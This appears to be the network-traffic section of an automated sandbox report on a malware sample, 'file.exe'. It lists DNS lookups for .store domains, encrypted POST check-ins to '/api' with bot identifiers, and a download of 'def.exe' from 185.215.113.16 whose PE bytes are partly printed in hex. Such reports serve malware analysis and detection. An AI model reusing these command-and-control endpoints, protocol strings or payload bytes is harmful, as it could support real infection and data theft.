Oct 28, 2024 07:18:48.504987955 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:48.505002975 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:48.505014896 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:48.505024910 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:48.505029917 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:48.505029917 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:48.505036116 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:48.505048037 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:48.505064964 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:48.505067110 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:48.505075932 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:48.505080938 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:48.505086899 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:48.505091906 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:48.505103111 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:48.505106926 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:48.505112886 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:48.505136013 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:48.505160093 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:48.505214930 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:48.505281925 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:48.505650043 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:48.505709887 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:49.238532066 CET	49717	80	192.168.2.8	185.215.113.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 07:18:25.610274076 CET	56484	53	192.168.2.8	1.1.1.1
Oct 28, 2024 07:18:25.619409084 CET	53	56484	1.1.1.1	192.168.2.8
Oct 28, 2024 07:18:25.625129938 CET	65054	53	192.168.2.8	1.1.1.1
Oct 28, 2024 07:18:25.637160063 CET	53	65054	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 28, 2024 07:18:25.610274076 CET	192.168.2.8	1.1.1.1	0x2fc2	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 28, 2024 07:18:25.625129938 CET	192.168.2.8	1.1.1.1	0x5566	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 07:18:25.619409084 CET	1.1.1.1	192.168.2.8	0x2fc2	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 07:18:25.637160063 CET	1.1.1.1	192.168.2.8	0x5566	No error (0)	crisiwarny.store		104.21.95.91	A (IP address)	IN (0x0001)	false
Oct 28, 2024 07:18:25.637160063 CET	1.1.1.1	192.168.2.8	0x5566	No error (0)	crisiwarny.store		172.67.170.64	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

crisiwarny.store

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49717	185.215.113.16	80	4936	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 07:18:41.241487980 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 28, 2024 07:18:42.153733969 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 28 Oct 2024 06:18:42 GMT Content-Type: application/octet-stream Content-Length: 2869760 Last-Modified: Mon, 28 Oct 2024 06:09:16 GMT Connection: keep-alive ETag: "671f2a8c-2bca00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2c 00 00 04 00 00 ab 54 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@, `@ ,T,`Ui` @ @.rsrc`2@.idata 8@aisygwgx+j+:@pdrbgaqy ,+@.taggant@@,"+@
Oct 28, 2024 07:18:42.153748989 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 07:18:42.153759956 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 07:18:42.153883934 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 07:18:42.153896093 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 07:18:42.153908968 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 07:18:42.153920889 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 07:18:42.153933048 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 07:18:42.153949976 CET	1236	IN	Data Raw: 57 7a 32 61 61 7b 5f c3 4d a2 61 8e 4b b8 43 57 c0 7a 45 58 42 39 4b 84 20 19 6e 95 60 85 48 73 83 ec 4e 5e 1f 87 2a 9b 6b ec fc a4 69 99 3b 34 8e 1f bc 22 84 8d 5e 74 82 7f 46 8a 87 80 41 38 c2 78 f6 ad 73 8e 42 81 72 eb f7 d3 b3 84 3d 5b 62 91 Data Ascii: Wz2aa{_MaKCWzEXB9K n`HsN^*ki;4"^tFA8xsBr=[bG\|K\j]$}}GCS-~\|ZM`C~[KE]OuOlLpA\nEmDI8~d=DE\ZCJv6yU lR+5Wge8RYBPihkUQdLGB
Oct 28, 2024 07:18:42.153964996 CET	1236	IN	Data Raw: fa 12 e6 a6 94 7f a2 5c 85 c1 03 6e 50 a1 b8 a6 1d af 48 61 cb e5 50 61 a7 a2 0a 62 4d 1b 69 5a d3 b2 ff 95 a7 c2 69 a5 5c d2 43 b5 cc 8e f8 bd 95 85 a8 f8 49 f2 69 d5 e7 c7 d0 aa 4d 85 00 61 d8 02 3e 7e ec e5 a6 2d fc 05 61 61 6e b1 42 80 7b 5a Data Ascii: \nPHaPabMiZi\CIiMa>~-aanB{Zv{oLA=IbiC j/9K5_<l#2\Vu=(^OkPPO\!}[_xqPYUwumOv\|n["mPInh
Oct 28, 2024 07:18:42.159328938 CET	1236	IN	Data Raw: 9e d9 9f 34 ac 8c 9f 0c 92 58 0c ce 80 5b a6 65 8f 21 a8 68 95 c6 af b9 2b f0 68 8e 97 f2 7e 4d 4d 93 bb 7c 4d c9 a7 c9 b3 24 4b aa 99 d4 78 60 9c 8d 88 5a b8 eb fe 48 ca 04 6b 3d c8 93 7c c1 a5 00 ab 70 49 ba 34 83 61 7f 11 ca 68 fc 78 c1 b3 4d Data Ascii: 4X[e!h+h~MM\|M$Kx`ZHk=\|pI4ahxMAVR.[bKlc[3BKC@@BoksV^p}u[lT[ibmK]\|]=Ra:[~[0jw-Mgyi^S6u

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	104.21.95.91	443	4936	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 06:18:26 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: crisiwarny.store
2024-10-28 06:18:26 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-28 06:18:26 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 06:18:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8jdlbk75id3666bt6nf2966f3v; expires=Fri, 21 Feb 2025 00:05:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xw6vNO5sjLaWrUQeKNTZIepC6LSS5nzroS%2Bl1jPhm4z4TidEg56Q%2FgAVVNn3t8T%2BZsMooZ%2F%2FVy4bhT0xWPnR%2BA9vrpAzoYp4bKZDAcZopD9n5iGX7Z7%2BF3RIG1vAeS6fTA89"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d98cefafe0b4740-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1173&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=907&delivery_rate=2443881&cwnd=251&unsent_bytes=0&cid=6f5432083d21d55a&ts=577&x=0"
2024-10-28 06:18:26 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-28 06:18:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	104.21.95.91	443	4936	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 06:18:27 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: crisiwarny.store
2024-10-28 06:18:27 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-28 06:18:28 UTC	1011	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 06:18:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kgqs40s07ckad65aek93b37o7a; expires=Fri, 21 Feb 2025 00:05:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=unbxS%2B0L8eYDaUUgLST%2FbW%2BJorPkihV1M9DsuxxEkUs8WxTspUqHsqYqOk6fJ338ROqRFBNHMzQLZKjtXQJIu5xTFVPNrndJyK%2F3qyoCebGvoSTRwz%2FeoeNGo4NqLQkvsKk2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d98cf027e536c14-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1160&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=952&delivery_rate=2383539&cwnd=251&unsent_bytes=0&cid=cc21e95a96d4c2c1&ts=546&x=0"
2024-10-28 06:18:28 UTC	358	IN	Data Raw: 34 64 63 0d 0a 4a 36 57 42 50 34 6a 6f 2f 70 48 4b 75 4a 37 6c 43 58 6c 72 66 54 7a 35 50 59 54 38 51 69 35 65 68 63 39 68 57 34 62 4a 4d 74 56 63 68 2f 63 64 73 74 7a 53 73 37 6e 64 76 4e 39 39 43 78 34 59 45 4e 74 63 34 4e 35 34 53 44 2f 70 76 41 52 33 70 4c 39 66 39 78 33 44 34 46 50 37 6a 64 4b 7a 72 38 43 38 33 31 49 43 53 52 68 53 32 77 65 6d 6d 53 68 4d 50 2b 6d 74 41 44 44 70 75 56 36 32 54 38 6e 6d 56 2b 32 4c 6d 76 43 6d 31 66 75 41 62 42 67 42 45 31 57 55 56 65 6e 65 62 67 77 37 2f 2b 31 62 65 63 75 73 52 72 52 71 78 50 4a 55 71 70 58 53 36 75 6a 64 38 4d 63 7a 57 77 6f 59 58 70 56 62 34 4a 63 71 52 6a 62 68 72 41 55 78 39 71 42 55 76 55 2f 48 35 56 62 6e 67 6f 37 39 72 4e 4c 77 68 6d 59 59 53 56 45 65 6e 45 65 6d 78 6d 41 66 44 75 53 38 45 69 Data Ascii: 4dcJ6WBP4jo/pHKuJ7lCXlrfTz5PYT8Qi5ehc9hW4bJMtVch/cdstzSs7ndvN99Cx4YENtc4N54SD/pvAR3pL9f9x3D4FP7jdKzr8C831ICSRhS2wemmShMP+mtADDpuV62T8nmV+2LmvCm1fuAbBgBE1WUVenebgw7/+1becusRrRqxPJUqpXS6ujd8MczWwoYXpVb4JcqRjbhrAUx9qBUvU/H5Vbngo79rNLwhmYYSVEenEemxmAfDuS8Ei
2024-10-28 06:18:28 UTC	893	IN	Data Raw: 4e 48 33 67 6e 6b 51 41 42 4a 54 6d 31 4c 73 6b 53 4e 4d 4f 2b 32 6e 44 44 50 67 70 6c 32 78 52 63 65 6a 45 36 71 4e 68 4c 50 77 6d 74 2b 43 65 78 77 46 43 52 79 68 48 2f 6e 51 4f 51 77 37 36 2b 31 62 65 65 79 75 55 37 52 4f 79 4f 42 56 34 5a 69 63 34 61 37 58 2b 5a 56 74 48 67 63 56 58 59 6c 56 36 4a 67 6a 52 54 66 75 71 41 51 39 70 4f 55 51 73 46 32 48 75 78 33 4c 68 35 66 2f 6f 73 33 38 78 33 52 56 45 46 39 5a 6c 78 2b 2b 33 69 52 4e 4f 4f 61 70 44 54 66 67 70 31 61 35 53 4d 6a 6c 56 2b 71 4e 6c 76 75 67 32 2f 47 4d 5a 42 73 4d 45 6c 71 64 55 2b 65 62 59 41 4a 38 34 4c 56 44 59 61 53 46 56 37 52 58 68 64 5a 65 35 49 53 62 35 65 6a 46 73 70 34 72 48 41 56 66 42 74 74 52 34 35 45 79 54 53 37 69 6f 78 45 31 34 61 31 64 74 45 76 48 35 6c 72 6e 68 4a 72 30 Data Ascii: NH3gnkQABJTm1LskSNMO+2nDDPgpl2xRcejE6qNhLPwmt+CexwFCRyhH/nQOQw76+1beeyuU7ROyOBV4Zic4a7X+ZVtHgcVXYlV6JgjRTfuqAQ9pOUQsF2Hux3Lh5f/os38x3RVEF9Zlx++3iRNOOapDTfgp1a5SMjlV+qNlvug2/GMZBsMElqdU+ebYAJ84LVDYaSFV7RXhdZe5ISb5ejFsp4rHAVfBttR45EyTS7ioxE14a1dtEvH5lrnhJr0
2024-10-28 06:18:28 UTC	1369	IN	Data Raw: 33 66 39 30 0d 0a 68 35 50 36 6f 64 50 75 6a 57 63 56 47 78 4a 55 6e 6c 48 71 6d 79 39 4d 50 65 61 6a 43 54 4b 6b 35 52 43 77 58 59 65 37 48 63 57 48 6a 4f 47 69 30 65 33 46 58 68 67 48 45 56 6d 4e 48 2f 6e 51 4f 51 77 37 36 2b 31 62 65 65 2b 74 58 4c 74 46 77 66 46 54 35 5a 69 57 34 61 7a 55 2b 49 74 6c 45 67 51 51 57 34 6c 62 35 6f 77 68 53 54 76 70 6f 42 45 38 70 4f 55 51 73 46 32 48 75 78 33 51 76 70 76 6a 75 64 32 2b 73 6d 67 56 42 78 68 49 32 30 43 6f 68 32 42 4c 4d 4b 66 31 51 7a 72 6f 70 6c 6d 79 53 74 58 70 55 65 75 59 6d 2f 71 68 30 50 32 4a 5a 42 41 46 47 6b 79 51 55 4f 36 52 49 55 45 78 37 4b 6b 44 65 61 72 72 56 36 38 46 6e 36 4e 38 35 34 57 4f 38 4c 6d 59 79 59 52 6c 46 51 34 4a 48 6f 51 52 2f 39 34 6e 51 48 79 2f 37 51 49 31 36 4b 70 66 73 Data Ascii: 3f90h5P6odPujWcVGxJUnlHqmy9MPeajCTKk5RCwXYe7HcWHjOGi0e3FXhgHEVmNH/nQOQw76+1bee+tXLtFwfFT5ZiW4azU+ItlEgQQW4lb5owhSTvpoBE8pOUQsF2Hux3Qvpvjud2+smgVBxhI20Coh2BLMKf1QzroplmyStXpUeuYm/qh0P2JZBAFGkyQUO6RIUEx7KkDearrV68Fn6N854WO8LmYyYRlFQ4JHoQR/94nQHy/7QI16Kpfs
2024-10-28 06:18:28 UTC	1369	IN	Data Raw: 57 34 59 36 59 38 36 58 52 38 6f 6c 69 46 77 45 54 57 59 6c 53 34 35 59 71 52 54 6e 72 6f 41 41 72 35 36 6f 51 2b 51 58 41 2b 78 32 79 79 72 76 41 6e 2f 6d 38 6d 43 55 43 53 52 68 53 32 77 65 6d 6e 79 68 4c 4d 75 4f 2f 44 53 76 71 72 46 43 78 54 63 2f 6b 55 65 53 45 6a 76 75 70 32 76 4b 49 59 78 49 4e 48 6c 71 66 55 2b 48 65 62 67 77 37 2f 2b 31 62 65 63 79 6f 53 71 30 48 36 65 68 64 37 5a 71 4b 36 4f 6a 46 73 70 34 72 48 41 56 66 42 74 74 62 37 5a 51 70 54 7a 58 6a 6f 41 4d 77 36 36 4a 59 75 6b 33 56 34 6c 66 34 6a 70 6e 79 70 39 44 34 6a 32 63 55 42 52 74 4d 6b 42 2b 6f 33 69 64 55 66 4c 2f 74 49 7a 4c 79 69 45 4b 6c 42 64 69 74 52 4b 71 4e 6b 4c 50 77 6d 76 57 4c 61 68 6f 44 47 56 57 65 55 75 61 62 4b 6b 73 77 35 36 30 41 50 2b 4b 6d 57 4c 39 4a 79 2b Data Ascii: W4Y6Y86XR8oliFwETWYlS45YqRTnroAAr56oQ+QXA+x2yyrvAn/m8mCUCSRhS2wemnyhLMuO/DSvqrFCxTc/kUeSEjvup2vKIYxINHlqfU+Hebgw7/+1becyoSq0H6ehd7ZqK6OjFsp4rHAVfBttb7ZQpTzXjoAMw66JYuk3V4lf4jpnyp9D4j2cUBRtMkB+o3idUfL/tIzLyiEKlBditRKqNkLPwmvWLahoDGVWeUuabKksw560AP+KmWL9Jy+
2024-10-28 06:18:28 UTC	1369	IN	Data Raw: 6c 50 69 75 31 50 32 42 5a 78 5a 4a 55 52 36 63 52 36 62 47 59 47 73 6d 36 71 73 55 4b 4e 47 73 55 4f 59 46 32 4b 31 45 71 6f 32 51 73 2f 43 61 38 59 74 68 46 67 77 62 56 70 78 63 35 35 49 6b 51 54 48 6a 70 41 63 38 39 72 6c 57 75 55 58 49 37 56 4c 6d 6d 4a 4c 32 71 4e 61 38 79 53 73 63 45 56 38 47 32 32 37 78 6e 6d 42 54 63 76 37 74 42 44 57 6b 38 78 43 34 53 4e 58 76 55 75 71 4c 6e 2f 65 6a 33 66 71 42 61 68 67 4d 48 46 75 64 58 75 61 53 4b 6b 73 30 37 61 4d 4f 50 2b 43 74 56 76 63 4c 68 2b 52 46 71 74 4c 63 77 61 58 55 39 59 52 74 46 68 38 33 62 39 74 41 71 49 64 67 53 7a 43 6e 39 55 4d 39 37 36 4e 63 73 6b 33 43 34 6c 58 67 67 70 50 38 75 74 76 7a 6a 6d 77 51 42 42 42 51 6e 6c 48 30 6d 53 74 48 4e 4f 36 6a 42 58 6d 71 36 31 65 76 42 5a 2b 6a 61 2b 6d Data Ascii: lPiu1P2BZxZJUR6cR6bGYGsm6qsUKNGsUOYF2K1Eqo2Qs/Ca8YthFgwbVpxc55IkQTHjpAc89rlWuUXI7VLmmJL2qNa8ySscEV8G227xnmBTcv7tBDWk8xC4SNXvUuqLn/ej3fqBahgMHFudXuaSKks07aMOP+CtVvcLh+RFqtLcwaXU9YRtFh83b9tAqIdgSzCn9UM976Ncsk3C4lXggpP8utvzjmwQBBBQnlH0mStHNO6jBXmq61evBZ+ja+m
2024-10-28 06:18:28 UTC	1369	IN	Data Raw: 4e 37 79 6c 57 6f 55 53 56 45 65 6e 45 65 6d 78 6d 42 39 4b 75 43 71 44 48 76 4e 72 45 75 32 54 38 54 6f 55 61 71 56 30 75 72 6f 33 66 44 48 4d 31 73 45 45 31 4f 66 54 65 71 65 49 45 55 37 37 62 38 4d 4e 75 6d 6f 55 4c 4a 58 78 76 46 53 34 59 2b 66 39 36 66 56 38 49 39 68 57 30 64 66 57 59 4d 66 76 74 34 4d 54 79 33 74 37 79 51 6a 38 71 78 63 70 6b 37 4b 37 78 33 31 78 49 57 7a 72 39 61 38 33 79 73 62 43 42 4a 4d 6e 6c 37 73 6c 43 31 45 4d 2b 4b 6f 44 44 33 67 6f 46 36 6c 53 38 6a 6a 57 2b 47 4c 6d 66 43 6a 30 50 4b 4f 65 56 74 48 58 31 6d 44 48 37 37 65 43 6c 63 39 36 71 46 42 46 2b 2b 39 56 2f 56 6b 79 65 68 61 35 70 7a 63 37 4f 62 44 76 49 42 6e 57 31 46 66 56 35 56 54 35 5a 6b 6f 52 44 6e 6e 70 67 4d 32 37 71 56 58 70 55 2f 4c 36 55 2f 6c 69 5a 48 33 Data Ascii: N7ylWoUSVEenEemxmB9KuCqDHvNrEu2T8ToUaqV0uro3fDHM1sEE1OfTeqeIEU77b8MNumoULJXxvFS4Y+f96fV8I9hW0dfWYMfvt4MTy3t7yQj8qxcpk7K7x31xIWzr9a83ysbCBJMnl7slC1EM+KoDD3goF6lS8jjW+GLmfCj0PKOeVtHX1mDH77eClc96qFBF++9V/Vkyeha5pzc7ObDvIBnW1FfV5VT5ZkoRDnnpgM27qVXpU/L6U/liZH3
2024-10-28 06:18:28 UTC	1369	IN	Data Raw: 34 72 48 41 56 66 42 74 74 66 34 70 49 6a 53 7a 4c 6f 6f 41 77 2b 37 36 52 61 75 56 66 49 35 6c 58 6d 67 70 48 68 6f 74 44 75 6a 6d 49 57 42 78 64 4d 6d 42 2b 6f 33 69 64 55 66 4c 2f 74 4d 54 50 6e 70 30 61 36 53 6f 66 38 45 2f 50 4b 6d 2f 2f 6f 67 72 79 56 65 52 73 43 48 31 6d 56 54 65 65 57 4c 30 59 38 34 61 59 4a 4f 75 32 76 58 72 35 44 78 75 35 63 36 34 71 5a 38 36 48 49 38 63 63 6c 57 77 34 48 48 73 4d 66 30 5a 49 72 66 54 2f 78 37 52 78 33 2f 65 74 58 75 77 57 66 6f 31 7a 34 68 35 54 33 71 4e 66 36 6a 47 6f 61 43 68 39 65 6d 46 2f 6a 6c 53 39 4b 4f 2b 71 6e 43 6a 44 32 6f 31 53 6c 52 63 76 6e 48 61 54 4b 6d 2b 76 6f 67 72 79 33 61 42 41 46 48 31 4f 4f 48 2f 6e 51 4f 51 77 37 36 2b 31 62 65 65 79 67 57 37 46 4f 78 4f 42 54 34 59 43 54 2f 4b 4c 63 2b Data Ascii: 4rHAVfBttf4pIjSzLooAw+76RauVfI5lXmgpHhotDujmIWBxdMmB+o3idUfL/tMTPnp0a6Sof8E/PKm//ogryVeRsCH1mVTeeWL0Y84aYJOu2vXr5Dxu5c64qZ86HI8cclWw4HHsMf0ZIrfT/x7Rx3/etXuwWfo1z4h5T3qNf6jGoaCh9emF/jlS9KO+qnCjD2o1SlRcvnHaTKm+vogry3aBAFH1OOH/nQOQw76+1beeygW7FOxOBT4YCT/KLc+
2024-10-28 06:18:28 UTC	1369	IN	Data Raw: 45 46 46 4c 5a 58 75 75 4f 4a 77 78 79 70 36 74 44 59 62 54 6c 45 4c 4e 55 68 37 73 4e 75 4e 48 4a 6f 50 2b 4b 72 70 67 6c 41 6b 6b 4a 48 73 4d 4e 71 4e 34 79 44 47 53 6e 36 67 41 72 39 71 31 54 6f 55 61 41 33 57 50 4b 67 5a 44 77 70 4e 76 37 78 79 56 62 42 6c 38 47 6f 68 2f 6c 6a 44 49 44 4c 66 47 67 45 7a 36 6f 6f 30 47 36 53 59 65 74 48 61 61 4f 6c 2f 2b 74 33 65 7a 49 65 51 73 43 45 30 6a 58 57 2f 54 65 62 67 77 74 37 4b 49 52 4e 2b 50 6b 51 61 46 49 31 2b 42 59 37 63 61 55 34 71 58 57 76 4d 6b 72 44 67 49 54 57 4a 5a 4b 71 59 38 32 54 79 72 67 34 51 73 6f 36 61 63 51 69 41 75 48 2b 78 32 79 79 71 6e 77 70 74 54 37 6b 58 70 57 4b 52 52 53 6d 46 50 6e 6d 57 41 43 66 4f 48 74 57 32 71 71 36 31 53 6d 42 5a 2b 7a 44 37 48 66 7a 36 54 34 69 4f 50 4a 63 6c Data Ascii: EFFLZXuuOJwxyp6tDYbTlELNUh7sNuNHJoP+KrpglAkkJHsMNqN4yDGSn6gAr9q1ToUaA3WPKgZDwpNv7xyVbBl8Goh/ljDIDLfGgEz6oo0G6SYetHaaOl/+t3ezIeQsCE0jXW/Tebgwt7KIRN+PkQaFI1+BY7caU4qXWvMkrDgITWJZKqY82Tyrg4Qso6acQiAuH+x2yyqnwptT7kXpWKRRSmFPnmWACfOHtW2qq61SmBZ+zD7Hfz6T4iOPJcl
